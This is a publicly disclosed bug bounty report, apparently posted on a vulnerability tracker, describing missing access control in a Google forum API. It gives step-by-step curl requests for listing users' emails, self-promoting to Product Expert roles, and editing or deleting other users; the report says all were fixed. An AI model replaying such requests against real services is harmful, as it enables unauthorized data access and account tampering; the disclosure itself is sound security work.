Page MenuHomeVulnz

Missing access control in methods v2/users:search and v2/users/status:batchUpdate
VerifiedPublic

Description

This is a bug I reported to Google via Google's Vulnerability Rewards Program on Jun 15, 2021.

Below is an intact reproduction of the report sent to Google (I censored some parts and replaced links to Google's Buganizer bugs with links to the corresponding Phabricator tasks which are public):


Note: the first part of the report is a follow-up to T18 (the end result is the same, although via a different method), and the second one is something completely different (although it also stems from the fact that there is poor access control).

Precondition: get an OAuth 2 access token in order to access the API (it should be possible with any Google Account).
In order to do this, the easiest way is to:

  1. Open Chrome and log in with any Google Account at google.com.
  2. Open a Chrome tab, and open the developer tools.
  3. Go to https://productexperts.withgoogle.com/.
  4. In the devtools networks tab, find the request to https://accounts.google.com/o/oauth2/iframerpc?action=issueToken[...]. In its response, the "access_token" value is the OAuth 2 access token.
    • If the request can't be found, delete the cookies for the productexperts.withgoogle.com origin, or sign out and sign in again with your Google Account, and then repeat from step 1.

Vulnerability for method v2/users:search:

Summary: any user can retrieve a list of Bento users.

Steps to reproduce:

  1. Run curl https://content-alkalibento-pa.googleapis.com/v2/users:search -X POST -H "Content-Type: application/json" -H "Authorization: Bearer __OAUTH2_TOKEN__" --data '{"pageSize": 1}', where __OAUTH2_TOKEN__ is the token retrieved in the precondition statement (the pageSize parameter is added just so the response doesn't include 50 results but just 1).
  2. Observe that the response includes details about the users (including their email address and name). More results can be returned at once by changing the pageSize parameter, and the list is paginated via the pageToken parameter, so all users can be retrieved by calling the API several times.

Vulnerability for method v2/users/status:batchUpdate:

Summary: this vulnerability lets any user change the role of any user (including themselves) in the forum.

Steps to reproduce:

  1. Open Chrome and log in with any Google Account at google.com.
  2. Go to https://support.google.com/chrome/thread/109536423?hl=en and click the "Upvote" button. This is just to make sure that a forum profile is created for the current logged in user.
  3. Now refresh the page. You will see a "My profile" link at the top. Click that link, and take note of the user ID (the user ID is the part of the URL after profile/).
  4. Now run curl https://content-alkalibento-pa.googleapis.com/v2/users/status:batchUpdate -X POST -H "Content-Type: application/json" -H "Authorization: Bearer __OAUTH2_TOKEN__" --data '{"statuses": [{"tailwindId": __USER_ID__, "status": "PRODUCT_EXPERT_LEVEL_5", "forumId": __FORUM_ID__}]}', where __OAUTH2_TOKEN__ is the OAuth token, __USER_ID__ is your user ID found in the previous step (or any other user ID), and __FORUM_ID__ is the ID of any forum (for instance: Chrome has ID [REDACTED]). As a side note, forum IDs can be retrieved in the Community Console if you are whitelisted to access it (Product Experts), or from unified profiles in the public forums (although this feature hasn't yet been launched).
  5. Refresh your user profile and observe that your role was promoted to "Diamond Product Expert".

Browser/OS: N/A

Attack scenario

These vulnerabilities could be exploited by anyone who has a Google Account and understands how the alkalibento API works (by inspecting the Bento's client source code).

For the first vulnerability: an attacker could follow the reproduction steps to get a list of the names and emails of all the people who have signed up to Bento (along with all their stats), which means these details are public. I assumed users don't expect their email addresses to be public.

For the second vulnerability: an attacker could follow these steps to grant them any Product Expert role in any forum, which would make them appear to be part of the Product Experts program. These roles also come with several permissions in the forum (lock threads, report threads (which effectively hides them immediately until they are reviewed), mark recommended answers in any thread, etc.).

Also, the attacker could grant themselves a role in a private forum if they knew the private forum ID (for details of a method which can be used to list those IDs, see T25#429), and I've verified this would grant them access to read this private forum, which they wouldn't be able to read otherwise.

[REDACTED]

Details

Vendor
Google
Product
https://content-alkalibento-pa.googleapis.com
Reported
Jun 15 2021, 3:56 AM
Reward
3500

Event Timeline

On Jun 15, 2021 I contacted Google:

There are more methods in that API lacking proper access control. Here are more examples:

  1. The PATCH v2/users/{bento_user_id}/preferences method lets a user edit someone else's profile (change fields, change whether the profile is public or not, etc.).

    Example: curl https://content-alkalibento-pa.googleapis.com/v2/users/__BENTO_USER_ID__/preferences?updateMask=bio -X PATCH -H "Content-Type: application/json" -H "Authorization: Bearer __OAUTH2_TOKEN__" --data '{"bio":"This is a new bio and it is going to replace the old one!"}'

    Normally __BENTO_USER__ID is set to me in order to change the current users settings, but by changing it to another user ID, it also works. (all user IDs can be listed via the vulnerability reported in v2/users:search, or via the PE directory for public profiles).
  1. The DELETE v2/users/{bento_user_id} method lets a user delete any other user, and the GET variant allows the user to list another user's data, including their email address.

    Example 1: curl https://content-alkalibento-pa.googleapis.com/v2/users/__BENTO_USER_ID__ -X DELETE -H "Authorization: Bearer __OAUTH2_TOKEN__"

    Example 2: curl https://content-alkalibento-pa.googleapis.com/v2/users/__BENTO_USER_ID__ -X GET -H "Authorization: Bearer __OAUTH2_TOKEN__"
  1. The GET, POST and DELETE v2/users/{bento_user_id}/awards methods allows a user to list, create and delete awards for any user.

    Example 1: curl https://content-alkalibento-pa.googleapis.com/v2/users/__BENTO_USER_ID__/awards -X GET -H "Authorization: Bearer __OAUTH2_TOKEN__"

    Example 2: curl https://content-alkalibento-pa.googleapis.com/v2/users/__BENTO_USER_ID__/awards -X POST -H "Authorization: Bearer __OAUTH2_TOKEN__" -H "Content-Type: application/json" --data '{"value": 963, "expiryTime": "2032-04-26T10:59:59.141Z", "category": "ADVANCED_TROUBLESHOOTER", "forumId": "10215659290690060288", "startTime": "2021-06-15T08:10:59.141Z", "description": "Description"}'

    Example 3: curl https://content-alkalibento-pa.googleapis.com/v2/users/__BENTO_USER_ID__/awards/__AWARD_ID__ -X DELETE -H "Authorization: Bearer __OAUTH2_TOKEN__"

It's as if currently there was no access control at all active in this API.

I'm marking this report as fixed since I've just checked that all the reproduction steps shared here don't work anymore (the endpoints seem to be properly protected now).

However, this doesn't mean all those endpoints are completely access controlled (since there might be some corner cases where the calls still work and shouldn't), and there could also be more endpoints affected that haven't been protected. For this reason, I'll do a more thorough review when I'm notified this has been fixed.

avm99963 changed the task status from Fixed to Verified.Oct 24 2021, 6:44 PM

Google sent the automatic "Our systems show that all the bugs we created based on your report have been fixed by the product team" message on Jul 3, 2021, so I'm marking this as verified.

Since more than 90 days have passed since the vulnerability was fixed, I'm changing this report visibility to "public".

avm99963 changed the visibility from "Restricted Project (Project)" to "Public (No Login Required)".Oct 24 2021, 6:45 PM
avm99963 set Reward to 3500.